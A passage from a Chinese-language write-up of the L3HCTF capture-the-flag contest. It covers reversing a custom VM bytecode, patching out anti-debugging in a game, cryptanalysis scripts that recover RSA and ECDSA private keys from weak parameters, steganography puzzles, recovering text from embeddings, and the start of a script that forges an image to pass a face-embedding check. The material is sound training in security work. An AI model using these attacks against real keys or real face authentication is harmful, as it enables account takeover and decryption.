    0x00000007, 0x00000000, 0x00000002, 0x00000005, 0x00000002, 0x00000004, 0x0000000E, 0x00000000,
    0x00000002, 0x00000014, 0x00000008, 0x00000000, 0x00000002, 0x00000006, 0x00000002, 0x00000005,
    0x0000000E, 0x00000000, 0x00000002, 0x00000015, 0x00000007, 0x00000000, 0x00000002, 0x00000007,
    0x00000002, 0x00000006, 0x0000000E, 0x00000000, 0x00000002, 0x00000016, 0x00000007, 0x00000000,
    0x00000002, 0x00000008, 0x00000002, 0x00000007, 0x0000000E, 0x00000000, 0x00000002, 0x00000017,
    0x00000007, 0x00000000, 0x00000002, 0x00000009, 0x00000002, 0x00000008, 0x0000000E, 0x00000000,
    0x00000002, 0x00000018, 0x00000007, 0x00000000, 0x00000002, 0x0000000A, 0x00000002, 0x00000009,
    0x0000000E, 0x00000000, 0x00000002, 0x00000019, 0x00000007, 0x00000000, 0x00000002, 0x0000000B,
    0x00000002, 0x0000000A, 0x0000000E, 0x00000000, 0x00000002, 0x0000001A, 0x00000007, 0x00000000,
    0x00000002, 0x0000000C, 0x00000002, 0x0000000B, 0x0000000E, 0x00000000, 0x00000002, 0x0000001B,
    0x00000008, 0x00000000, 0x00000002, 0x0000000D, 0x00000002, 0x0000000C, 0x0000000E, 0x00000000,
    0x00000002, 0x0000001C, 0x00000008, 0x00000000, 0x00000002, 0x0000000E, 0x00000002, 0x0000000D,
    0x0000000E, 0x00000000, 0x00000002, 0x0000001D, 0x00000007, 0x00000000, 0x00000002, 0x0000000F,
    0x00000002, 0x0000000E, 0x0000000E, 0x00000000, 0x00000002, 0x0000001E, 0x00000008, 0x00000000,
    0x00000010, 0x00000000, 0x00000002, 0x00000010, 0x00000002, 0x00000011, 0x0000000F, 0x00000000,
    0x00000012, 0x00000054, 0x00000002, 0x0000001F, 0x00000001, 0x00000000, 0x00000003, 0x00000001]
index = 0
flag = 0
data = ["x0",
    "x1", "x2", "x3", "x4", "x5", "x6", "x7", "x8",
    "x9", "x10", "x11", "x12", "x13", "x14", "x15",
    0x000000B0, 0x000000C8, 0x000000FA, 0x00000086, 0x0000006E, 0x0000008F, 0x000000AF, 0x000000BF,
    0x000000C9, 0x00000064, 0x000000D7, 0x000000C3, 0x000000E3, 0x000000EF, 0x00000087, 0x00000000]
R =["R0","R1","R2","R3","R4","R5","R6","R7","R8","R9","R10","R11","R12","R13","R14","R15","R16","R17","R18","R19","R20","R21","R22"]
sp = 0
for i in range(0,len(code)):
    if code[index] == 2:
        print(f"{index}  mov  {R[sp]},{data[code[index + 1]]}")
        sp += 1
        index += 2
    elif code[index] == 7:
        sp -= 1
        print(f"{index}  int b = {R[sp]}")
        sp -= 1
        print(f"{index}  int a = {R[sp]}")
        print(f"{index}  mov  {R[sp]}, a + b")
        sp += 1
        index += 2
    elif code[index] == 8:
        sp -= 1
        print(f"{index}  int a = {R[sp]}")
        sp -= 1
        print(f"{index}  int b = {R[sp]}")
        print(f"{index}  mov  {R[sp]}, a - b")
        sp += 1
        index += 2
    elif code[index] == 14:
        sp -= 1
        print(f"{index}  int b = {R[sp]}")
        sp -= 1
        print(f"{index}  int a = {R[sp]}")
        print(f"{index}  mov  {R[sp]}, a ^ b")
        sp += 1
        index += 2
    elif code[index] == 15:
        sp -= 1
        print(f"{index}  int b = {R[sp]}")
        sp -= 1
        print(f"{index}  int a = {R[sp]}")
        print(f"{index}  mov   {R[sp]},a == b")
        sp += 1
        index += 2
    elif code[index] == 16:
        print(f"check")
        index += 2
    elif code[index] == 18:
        sp -= 1
        print(f"{index}  if {R[sp]} == 0")
        print(f"{index}  jmp {code[index + 1]}")
        index += 2
    # else:
    #     index += 1

打印出来结果如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
D:\python\python.exe D:\language_study\pystudy\pythonProject\test.py 
0  mov  R0,x0
2  mov  R1,x1
4  mov  R2,x0
6  int b = R2  ; x0
6  int a = R1  ;x1
6  mov  R1, a ^ b  ;x0 ^ x1
8  mov  R2,176  
10  int a = R2  ; 176
10  int b = R1  ; x0 ^ x1
10  mov  R1, a - b ; n_x1 = 176 - (x0 ^ x1) --> x1 = (176 - n_x1) ^ x0
12  mov  R2,x2
14  mov  R3,x1
16  int b = R3
16  int a = R2
16  mov  R2, a ^ b ;x1 ^ x2
18  mov  R3,200
20  int a = R3 
20  int b = R2
20  mov  R2, a - b ; n_x2 = 200 - (x1 ^ x2)  --> x2 = (200 - n_x2) ^ x1
22  mov  R3,x3
24  mov  R4,x2
26  int b = R4
26  int a = R3
26  mov  R3, a ^ b
28  mov  R4,250
30  int b = R4
30  int a = R3
30  mov  R3, a + b
32  mov  R4,x4
34  mov  R5,x3
36  int b = R5
36  int a = R4
36  mov  R4, a ^ b
38  mov  R5,134
40  int b = R5
40  int a = R4
40  mov  R4, a + b
42  mov  R5,x5
44  mov  R6,x4
46  int b = R6
46  int a = R5
46  mov  R5, a ^ b
48  mov  R6,110
50  int a = R6
50  int b = R5
50  mov  R5, a - b
52  mov  R6,x6
54  mov  R7,x5
56  int b = R7
56  int a = R6
56  mov  R6, a ^ b
58  mov  R7,143
60  int b = R7
60  int a = R6
60  mov  R6, a + b
62  mov  R7,x7
64  mov  R8,x6
66  int b = R8
66  int a = R7
66  mov  R7, a ^ b
68  mov  R8,175
70  int b = R8
70  int a = R7
70  mov  R7, a + b
72  mov  R8,x8
74  mov  R9,x7
76  int b = R9
76  int a = R8
76  mov  R8, a ^ b
78  mov  R9,191
80  int b = R9
80  int a = R8
80  mov  R8, a + b
82  mov  R9,x9
84  mov  R10,x8
86  int b = R10
86  int a = R9
86  mov  R9, a ^ b
88  mov  R10,201
90  int b = R10
90  int a = R9
90  mov  R9, a + b
92  mov  R10,x10
94  mov  R11,x9
96  int b = R11
96  int a = R10
96  mov  R10, a ^ b
98  mov  R11,100
100  int b = R11
100  int a = R10
100  mov  R10, a + b
102  mov  R11,x11
104  mov  R12,x10
106  int b = R12
106  int a = R11
106  mov  R11, a ^ b
108  mov  R12,215
110  int b = R12
110  int a = R11
110  mov  R11, a + b
112  mov  R12,x12
114  mov  R13,x11
116  int b = R13
116  int a = R12
116  mov  R12, a ^ b
118  mov  R13,195
120  int a = R13
120  int b = R12
120  mov  R12, a - b
122  mov  R13,x13
124  mov  R14,x12
126  int b = R14
126  int a = R13
126  mov  R13, a ^ b
128  mov  R14,227
130  int a = R14
130  int b = R13
130  mov  R13, a - b
132  mov  R14,x14
134  mov  R15,x13
136  int b = R15
136  int a = R14
136  mov  R14, a ^ b
138  mov  R15,239
140  int b = R15
140  int a = R14
140  mov  R14, a + b
142  mov  R15,x15
144  mov  R16,x14
146  int b = R16
146  int a = R15
146  mov  R15, a ^ b
148  mov  R16,135
150  int a = R16
150  int b = R15
150  mov  R15, a - b
check
154  mov  R16,176
156  mov  R17,200
158  int b = R17
158  int a = R16
158  mov   R16,a == b
160  if R16 == 0
160  jmp 84
162  mov  R16,0

进程已结束,退出代码为 0

密文:

1
0xdf,0x6e,0xfffffff2,0x1e9,0x13c,0x24,0x9e,0xca,0x146,0x183,0x88,0x1c3,0x5a,0x14,0x132,0x83

最后还原每一个的逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
x0 = 0xDF
new_x = [
    0x6E, 0xF2, 0x1E9, 0x13C, 0x24, 0x9E, 0xCA, 0x146,
    0x183, 0x88, 0x1C3, 0x5A, 0x14, 0x132, 0x83
]

x = [0] * 16
x[0] = x0

# 计算 x1
x[1] = (176 - new_x[0]) ^ x[0]

# 计算 x2
x[2] = (200 - new_x[1]) ^ x[1]

# 计算 x3
x[3] = (new_x[2] - 250) ^ x[2]

# 计算 x4
x[4] = (new_x[3] - 134) ^ x[3]

# 计算 x5
x[5] = (110 - new_x[4]) ^ x[4]

# 计算 x6
x[6] = (new_x[5] - 143) ^ x[5]

# 计算 x7
x[7] = (new_x[6] - 175) ^ x[6]

# 计算 x8
x[8] = (new_x[7] - 191) ^ x[7]

# 计算 x9
x[9] = (new_x[8] - 201) ^ x[8]

# 计算 x10
x[10] = (new_x[9] - 100) ^ x[9]

# 计算 x11
x[11] = (new_x[10] - 215) ^ x[10]

# 计算 x12
x[12] = (195 - new_x[11]) ^ x[11]

# 计算 x13
x[13] = (227 - new_x[12]) ^ x[12]

# 计算 x14
x[14] = (new_x[13] - 239) ^ x[13]

# 计算 x15
x[15] = (135 - new_x[14]) ^ x[14]

# 打印结果(1字节十六进制)
print("原始 x1-x15 的值(十六进制):")
for i in range(1, 16):
    print(f"{x[i] & 0xFF:02X}",end="")
#9D4BA41258574CCB7155B9D01F5C58

最后补上 x0 大写转小写即可

Snake

一堆 int3 直接 Scyllahide 过掉,不断调试跟到游戏主要函数 sub_4FBAC0 这里 nop 掉反调试跳转

下面是游戏逻辑,思路是: 1:nop 掉位移逻辑

2:nop 掉判定加分的逻辑

运行拿到 flag 即可

Crypto

math_problem

先根据 hint1 求出 r 来,而对于 hint2,我们对其使用二项式定理展开,得到

$$ hint2 \equiv 1+3kn+ \frac{9k(k-1)}{2}n^2 \pmod{n^3} $$

移项后除以 n,得到

$$ B=\frac{hint2-1}{n}=3k+\frac{9k(k-1)}{2}n+k'n^2 $$

我们再对 B 模 n,得到

$$ B\mod n \equiv 3k \mod n,k=\frac{B \mod n}{3} $$

这里求得的 k 就是 p 的低 400 位,之后我们使用 coppersmith 求解出 p 就行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
from gmpy2 import *
n = 1031361339208727791691298627543660626410606240120564103678654539403400080866317968868129842196968695881908504164493307869679126969820723174066217814377008485456923379924853652121682069359767219423414060835725846413022799109637665041081215491777412523849107017649039242068964400703052356256244423474207673552341406331476528847104738461329766566162770505123490007005634713729116037657261941371410447717090137275138353217951485412890440960756321099770208574858093921
c = 102236458296005878146044806702966879940747405722298512433320216536239393890381990624291341014929382445849345903174490221598574856359809965659167404530660264493014761156245994411400111564065685663103513911577275735398329066710295262831185375333970116921093419001584290401132157702732101670324984662104398372071827999099732380917953008348751083912048254277463410132465011554297806390512318512896160903564287060978724650580695287391837481366347198300815022619675984
hint1 = 41699797470148528118065605288197366862071963783170462567646805693192170424753713903885385414542846725515351517470807154959539734665451498128021839987009088359453952505767502787767811244460427708303466073939179073677508236152266192609771866449943129677399293427414429298810647511172104050713783858789512441818844085646242722591714271359623474775510189704720357600842458800685062043578453094042903696357669390327924676743287819794284636630926065882392099206000580093201362555407712118431477329843371699667742798025599077898845333
hint2 = 10565371682545827068628214330168936678432017129758459192768614958768416450293677581352009816968059122180962364167183380897064080110800683719854438826424680653506645748730410281261164772551926020079613841220031841169753076600288062149920421974462095373140575810644453412962829711044354434460214948130078789634468559296648856777594230611436313326135647906667484971720387096683685835063221395189609633921668472719627163647225857737284122295085955645299384331967103814148801560724293703790396208078532008033853743619829338796313296528242521122038216263850878753284443416054923259279068894310509509537975210875344702115518307484576582043341455081343814378133782821979252975223992920160189207341869819491668768770230707076868854748648405256689895041414944466320313193195829115278252603228975429163616907186455903997049788262936239949070310119041141829846270634673190618136793047062531806082102640644325030011059428082270352824026797462398349982925951981419189268790800571889709446027925165953065407940787203142846496246938799390975110032101769845148364390897424165932568423505644878118670783346937251004620653142783361686327652304482423795489977844150385264586056799848907
r=gcd(n,hint1)
#r=11462596792681484119885867626229848343628572981903327079472959385609791492187597506621130701780561699379556165436984737148828369344212127061312661920652823
p_q=n//r
#p_q=89976238182539956361646502174582239233867602786630733592087980565136028257351416845669763032829951111889837196225697003100579641554184101899334531827940735063578835944600821891388396352487725296846958330005131539072371256697512444779913966988812704198431594797297087795356209894849648037186106182879820249927
A=hint2-1
B=A//n
k_0=B%n
k=k_0//3
#k=1485680028344144006765555653772516703832059493333760848397113959350969611961772611966978839643079277183666542572626814999

#sage
def recover_p(n, p_low, k_bits):    
    P.<x> = PolynomialRing(Zmod(n))    
    f = x*2^k_bits + p_low    
    roots = f.monic().small_roots(X=2^(n.nbits()//2 - k_bits), beta=0.4)
    if roots:
        return roots[0]*2^k_bits + p_low
    return None
p_q=89976238182539956361646502174582239233867602786630733592087980565136028257351416845669763032829951111889837196225697003100579641554184101899334531827940735063578835944600821891388396352487725296846958330005131539072371256697512444779913966988812704198431594797297087795356209894849648037186106182879820249927
k=1485680028344144006765555653772516703832059493333760848397113959350969611961772611966978839643079277183666542572626814999
print(recover_p(p_q,k,400))

p=10131840248837038199009829519775750424799329778826965567641085303764923942459699675684256950985404319256009819736357506324552460305994284453952660375382039
q=p_q//p
phi=(p-1)*(q-1)*(r-1)
d=invert(65537,phi)
m=long_to_bytes(pow(c,d,n))
print(m)

EzECDSA

解方程题,已知 6 个签名方程 $s_i=k_i^{-1}(h_i+dr_i)\pmod{n},i={1,2,3,4,5,6}$

$s_i,h_i,r_i,n$均已知,k 之间有联系 $k_{i+1}=ak_i^2+bk_i+c\pmod{n}$

所以 6 个方程 5 个未知数,解方程组即可,唯一难的地方在化简方程

非线性迭代方程在有限步差分后必然线性化,d 次多项式方程,做差 d 次是常数

差分就是方程之间做差, $k_{i+1}=ak_i^2+bk_i+c\pmod{n}$不断做差化简为全是 k 的方程

再用 $k_i=A_i+B_id\pmod{n},A_i=s_i^{-1}h_i,B_i=r_is_i^{-1}$把关于 k 的方程换为关于 d 的方程

用.roots()方法求解模下多项式方程的根

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from ecdsa import NIST256p
import hashlib

# 从签名文件读取数据
def read_signatures(file_path):
    signatures = []
    with open(file_path, 'r') as f:
        for line in f:
            parts = line.strip().split(', ')
            sig = {}
            for part in parts:
                key, val = part.split(': ')
                sig[key] = int(val)
            signatures.append((sig['h'], sig['r'], sig['s']))
    return signatures

# 设置椭圆曲线参数
curve = NIST256p
n = curve.order
signatures = read_signatures('signatures.txt')

# 计算 A_i 和 B_i
A = []
B = []
for h, r, s in signatures:
    s_inv = pow(s, -1, n)
    A_i = (h * s_inv) % n
    B_i = (r * s_inv) % n
    A.append(A_i)
    B.append(B_i)

# 在有限域 GF(n) 上定义多项式环
R.<d> = PolynomialRing(GF(n))

# 定义 k_i 作为 d 的函数
k0 = A[0] + B[0]*d
k1 = A[1] + B[1]*d
k2 = A[2] + B[2]*d
k3 = A[3] + B[3]*d
k4 = A[4] + B[4]*d

# 差异项
D0 = k1 - k0
D1 = k2 - k1
D2 = k3 - k2
D3 = k4 - k3

# 辅助函数
Y0 = k0 + k1
Y1 = k1 + k2
Y2 = k2 + k3

# 差分项(避免除法)
X0_num = D1
X1_num = D2
X2_num = D3

# 构建方程(分母乘开后)
left_part = (X0_num * X0_num - D0 * D2) * (Y2 - Y0) * D2
right_part = (D3 * D0 - D1 * D2) * (Y0 - Y1) * D1

# 主方程
equation = left_part - right_part

# 求根
candidates = equation.roots()
d_candidates = [root for root, mult in candidates]

# 验证正确的 d
valid_d = None
for candidate in d_candidates:
    # 重构第5条消息
    msg = f"Oh, and the flag is L3HCTF{{{int(candidate)}}}. Don't tell anyone!".encode()
    h_calc = int.from_bytes(hashlib.sha256(msg).digest(), 'big') % n
    # 比较哈希值
    if h_calc == signatures[5][0]:
        valid_d = candidate
        break

print(flag)

RRRSSSAAA

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from sage.all import *
from Crypto.Util.number import long_to_bytes

# 给定参数
N = 99697845285265879829811232968100099666254250525000506525475952592468738395250956460890611762459685140661035795964867321445992110528627232335703962897072608767840783176553829502743629914407970206513639916759403399986924602596286330464348286080258986075962271511105387188070309852907253486162504945490429185609
e = 74900336437853271512557457581304251523854378376434438153117909482138661618901386551154807447783262736408028580620771857416463085746907317126876189023636958838207330193074215769008709076254356539808209005917645822989554532710565445155350102802675594603406077862472881027575871589046600011223990947361848608637247276816477996863812313225929441545045479384803449990623969591150979899801722841101938868710054151839628803383603849632857020369527380816687165487370957857737696187061619496102857237814447790678611448197153594917852504509869007597997670022501500067854210261136878917620198551551460145853528269270832725348151160651020188255399136483482428499340574623409209151124687319668989144444549871527949104436734300277004316939985015286758651969045396343970037328043635061226100170529991733947365830164811844853806681198818875837903563263114249814483901121700854712406832325690101810786429930813776784979083590353027191492894890551838308899148551566437532914838098811643805243593419063566975400775134981190248113477610235165151367913498299241375039256652674679958159505112725441797566678743542054295794919839551675786573113798857814005058856054462008797386322048089657472710775620574463924678367455233801970310210504653908307254926827
c = 98460941530646528059934657633016619266170844887697553075379408285596784682803952762901219607460711533547279478564732097775812539176991062440097573591978613933775149262760936643842229597070673855940231912579258721734434631479496590694499265794576610924303262676255858387586947276246725949970866534023718638879

def main():
    # 计算 N^4
    print("Calculating N^4...")
    N4 = N**4
    print("N^4 calculated.")
    
    # 设置高精度实数域 (10000比特精度)
    prec = 10000
    R = RealField(prec)
    print(f"Using RealField with precision {prec} bits")
    
    # 计算 alpha = e / N^4
    print("Calculating alpha = e / N^4...")
    alpha = R(e) / R(N4)
    
    # 连分数展开
    print("Computing continued fraction...")
    cf = continued_fraction(alpha)
    convergents = cf.convergents()
    
    print("Starting convergents iteration...")
    found = False
    p_val_found = None
    q_val_found = None
    
    for i, frac in enumerate(convergents):
        k = frac.numerator()
        d_small_candidate = frac.denominator()
        bits = d_small_candidate.nbits()
        
        # 只检查1021位的候选
        if bits < 1020:
            continue
        if bits > 1021:
            print(f"Stopping at convergent {i} with {bits} bits")
            break  # 分母递增,超过1021位后停止
        
        # 打印进度
        if i % 100 == 0:
            print(f"Checking convergent {i}: bits={bits}")
        
        # 检查整除性: e * d_small + 1 必须能被 k 整除
        temp = e * d_small_candidate + 1
        if k == 0 or temp % k != 0:
            continue
            
        phi_candidate = temp // k
        
        # 验证 phi_candidate 接近 N4 (误差在合理范围内)
        diff = abs(N4 - phi_candidate)
        # 允许的误差范围: 因为 p^4 + q^4 ≈ 2*N^2 (实际上更大,但这里保守估计)
        if diff > 10**10 * N**2:  # N^2 大约 2048位,10^10*N^2 大约 2058位
            continue
        
        print(f"Potential candidate found at convergent {i}:")
        print(f"d_small = {d_small_candidate}")
        print(f"k = {k}")
        print(f"Difference from N^4: {diff}")
        
        # 计算 T = p^4 + q^4 = N^4 - φ + 1
        T = N4 - phi_candidate + 1
        N2 = N**2
        
        # 计算 S^2 = (p^2 + q^2)^2 = T + 2*N^2
        S2 = T + 2 * N2
        
        # 检查 S2 是否为完全平方数
        if S2 < 0:
            continue
            
        S = isqrt(S2)
        if S * S != S2:
            continue
            
        print(f"S^2 = {S2} is a perfect square")
        print(f"S = {S}")
        
        # 求解二次方程 x^2 - S*x + N^2 = 0
        # 根应为 p^2 和 q^2
        x = polygen(ZZ)
        poly = x**2 - S * x + N2
        roots = poly.roots(multiplicities=False)
        
        valid_roots = []
        for root in roots:
            if root <= 0:
                continue
                
            # 检查是否为平方数
            root_isqrt = isqrt(root)
            if root_isqrt * root_isqrt == root:
                valid_roots.append(root_isqrt)
        
        if not valid_roots:
            continue
            
        print(f"Found potential p^2 roots: {valid_roots}")
        
        for p_val in valid_roots:
            # 验证 p_val 整除 N
            if N % p_val != 0:
                continue
                
            q_val = N // p_val
            if p_val * q_val != N:
                continue
                
            print("\n" + "="*50)
            print("Successfully factored N!")
            print(f"p = {p_val}")
            print(f"q = {q_val}")
            
            # 保存找到的因子
            p_val_found = p_val
            q_val_found = q_val
            found = True
            break
        
        if found:
            break
    
    if not found:
        print("\n" + "="*50)
        print("Failed to factor N with the given parameters")
        return
    
    # 计算 phi = (p^4 - 1)(q^4 - 1)
    p4 = p_val_found**4
    q4 = q_val_found**4
    phi = (p4 - 1) * (q4 - 1)
    
    # 计算私钥 d - 使用 SageMath 的 Integer 类型
    e_int = Integer(e)
    phi_int = Integer(phi)
    d = e_int.inverse_mod(phi_int)
    
    # 解密 - 使用 SageMath 的 power_mod
    c_int = Integer(c)
    N_int = Integer(N)
    m = power_mod(c_int, d, N_int)
    flag_bytes = long_to_bytes(m)
    print(flag_bytes)

if __name__ == "__main__":
    main()

解法二(不是)

用论文的方法也能算出来,和维纳攻击的思路大差不差,式子化简方式都一样的

论文链接:https://eprint.iacr.org/2024/1263.pdf

$$ e(\phi(N)-d_{small})\equiv 1\pmod{\phi{(N)}}\Rightarrow ed_{small}+1=k\phi(N) $$

e 和$\phi(N)$相近,$d_{small}$只有 1021bit,很小,所以可以考虑勒让德定理

$$ \frac{e}{\phi(N)}+\frac{1}{k\phi(N)}=\frac{k}{d_{small}}\Rightarrow |\frac{e}{\phi(N)}-\frac{k}{d_{small}}|=\frac{1}{k\phi(N)}<\frac{1}{2d_{small}^2} $$

此时对$\frac{e}{\phi(N)}$做连分数展开,其逼近中含有$\frac{k}{d_{small}}$,由此可求出 $\phi(N)=\frac{ed_{small}+1}{k}=\left\lfloor\frac{d_{small}}{k}e\right\rfloor$

但$\phi(N)$不知道,一开始想用$N^4$近似一下,但是发现论文里有更好的近似计算方法

其实直接用 N^4 也能求出来

$$ \phi_0(N)=N^4-(3N^2+\left\lfloor\frac{N^2}{3}\right\rfloor)+1 $$

算出$\phi(N)$,就能直接算 d 解出 flag 了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import *
from gmpy2 import *

N = 99697845285265879829811232968100099666254250525000506525475952592468738395250956460890611762459685140661035795964867321445992110528627232335703962897072608767840783176553829502743629914407970206513639916759403399986924602596286330464348286080258986075962271511105387188070309852907253486162504945490429185609
e = 74900336437853271512557457581304251523854378376434438153117909482138661618901386551154807447783262736408028580620771857416463085746907317126876189023636958838207330193074215769008709076254356539808209005917645822989554532710565445155350102802675594603406077862472881027575871589046600011223990947361848608637247276816477996863812313225929441545045479384803449990623969591150979899801722841101938868710054151839628803383603849632857020369527380816687165487370957857737696187061619496102857237814447790678611448197153594917852504509869007597997670022501500067854210261136878917620198551551460145853528269270832725348151160651020188255399136483482428499340574623409209151124687319668989144444549871527949104436734300277004316939985015286758651969045396343970037328043635061226100170529991733947365830164811844853806681198818875837903563263114249814483901121700854712406832325690101810786429930813776784979083590353027191492894890551838308899148551566437532914838098811643805243593419063566975400775134981190248113477610235165151367913498299241375039256652674679958159505112725441797566678743542054295794919839551675786573113798857814005058856054462008797386322048089657472710775620574463924678367455233801970310210504653908307254926827
c = 98460941530646528059934657633016619266170844887697553075379408285596784682803952762901219607460711533547279478564732097775812539176991062440097573591978613933775149262760936643842229597070673855940231912579258721734434631479496590694499265794576610924303262676255858387586947276246725949970866534023718638879
phi0=N**4-(3*N**2+N**2//8)+1

class ContinuedFraction():
    def __init__(self, numerator, denumerator):
        self.numberlist = []  # number in continued fraction
        self.fractionlist = []  # the near fraction list
        self.GenerateNumberList(numerator, denumerator)
        self.GenerateFractionList()

    def GenerateNumberList(self, numerator, denumerator):
        while numerator != 1:
            quotient = numerator // denumerator
            remainder = numerator % denumerator
            self.numberlist.append(quotient)
            numerator = denumerator
            denumerator = remainder

    def GenerateFractionList(self):
        self.fractionlist.append([self.numberlist[0], 1])
        for i in range(1, len(self.numberlist)):
            numerator = self.numberlist[i]
            denumerator = 1
            for j in range(i):
                temp = numerator
                numerator = denumerator + numerator * self.numberlist[i - j - 1]
                denumerator = temp
            self.fractionlist.append([numerator, denumerator])

a = ContinuedFraction(e, phi0)
for k, d_s in a.fractionlist:
    if k!=0 and (e*d_s+1)%k==0 and int(d_s).bit_length()==1021:
        print(d_s)
        phi=(e*d_s+1)//k
        d=inverse(e,phi)
        print(long_to_bytes(pow(c,d,N)))

MISC

量子双生影

解压附件,可以用手机扫描二维码得到:

这里尝试过后,发现存在 NTFS 隐写,使用 AlternateStreamView 工具解密,得到另一张二维码

提取出隐藏文件,使用 PS 进行一些处理,然后扫描得到 flag

Why not read it out?

文件改后缀为 jpg:

同时发现文件尾 FF D9 后有其它内容:

很明显的 base 特征,字符串逆序,解 base64 得到 hint:

发现是游戏 tunic 的语言,上 b 站可以搜到旭日升冰茶博主的 tunic 语言教程,了解完语言特性之后看看那张图,初步推测是换表,因为元辅音的数量看着没啥变化

之后在推这个表的时候才发现规律反过来了,元音和辅音的内外和游戏中相反,实际上就是发现元音和辅音的图形数量对不上,正常来讲应该是 18 个元音,但是数量对不上,最后发现反过来对得上才看出来这个规律

正常做词频分析的方式还是比较慢的,不如直接做猜词来得快,最后分析出来七七八八,然后有几个比如 I 或者 ae 这种音标没分析出来,直接从下面的几句话分析就行

翻译出来下面第一句是:

The content of flag is:come on little brave fox

交上去发现不对,就看看下面的句子

然后下面发现第二句和第三局开头都是一个词,想着占便宜把这俩都先翻了,发现是单词 replace,后面还有一个单元音 a 和 e,那么我可猜出来出题人什么意思了,也就是上面大块的内容是给你来算这个换表的,下面的才是有用的,于是果断放弃上面的翻译,开始翻译下面的

第二句整句翻出来是:

replace letter o with number 0,letter l with 1

第三句整句翻出来是:

replace letter a with simple @(æt)

第四句没翻出来,但是看见 every letter 两个词就大概知道啥意思了,肯定是变化字母,直接找后面的元音(实际上这句我是最后翻的,当时就直接用暴力破解法了)

/mak/ vary letter ? /Λpəksa/

Make every letter E uppercase

第五句更简单,我当时就在想 ctf 的 flag 怎么可能空格,盲猜有一句是加下划线,但是直接翻译出来 link 这个词的时候我就其他的都没咋看了,肯定是用下划线把单词连起来

use(ju:z) underline(Λnpəlain) to(tʊ) link(liŋk) each(i:t∫) word(wɔːd)

最后的 flag 就是L3HCTF{c0mE_0n_1itt1E_br@vE_f0x}

LearnRag

grok 秒了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pickle
import vec2text
import torch

# 需要预先定义RagData
class RagData:
    def __init__(self, embeddings, texts=None):
        self.embeddings = embeddings
        self.texts = texts
        
# 加载 .pkl 文件
# 将 'path_to_your_pkl_file.pkl' 替换为实际文件路径
with open('rag_data.pkl', 'rb') as f:
    data = pickle.load(f)

# 假设 .pkl 文件包含嵌入列表(每个嵌入是一个 numpy 数组)
# 如果是其他结构(如字典),需要提取嵌入,例如:embeddings = data['embeddings']
embeddings = torch.tensor(data.embeddings)

# 加载预训练校正器
# 假设 RAG 系统使用 "gtr-base" 嵌入模型
# 如果使用其他模型(如 BERT 或 text-embedding-ada-002),请替换为相应校正器
corrector = vec2text.load_pretrained_corrector("gtr-t5-base")

# 从嵌入中还原文本
# num_steps=20 是迭代次数,可调整以提高准确性(但会增加计算成本)
reconstructed_texts = vec2text.invert_embeddings(embeddings=embeddings, corrector=corrector, num_steps=20)

# 打印还原的文本
for i, text in enumerate(reconstructed_texts):
    print(f"还原文本 {i+1}: {text}")

Please Sign In

题目说是人脸检测,给的脚本是通过图片得出的特征向量和原来题目给的比对满足不大于对应的损失精度

先喂给 ai ,让他写一个根据题目脚本要求和模型,可以通过训练生成满足对应特征向量比对误差图片的脚本

再炼就行了

使用 png 无损压缩格式发送,不然有误差

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import torch
import json
from PIL import Image
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from torch import nn
from torch.optim import Adam
from torchvision import transforms

feature_extractor = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
feature_extractor.fc = nn.Identity()
feature_extractor.eval()

with open("embedding.json", "r") as f:
    user_embedding_list = json.load(f)
    
user_embedding = torch.tensor(user_embedding_list, dtype=torch.float32).unsqueeze(0)

img_height, img_width = 224, 224

generated_image = torch.rand(1, 3, img_height, img_width, requires_grad=True)
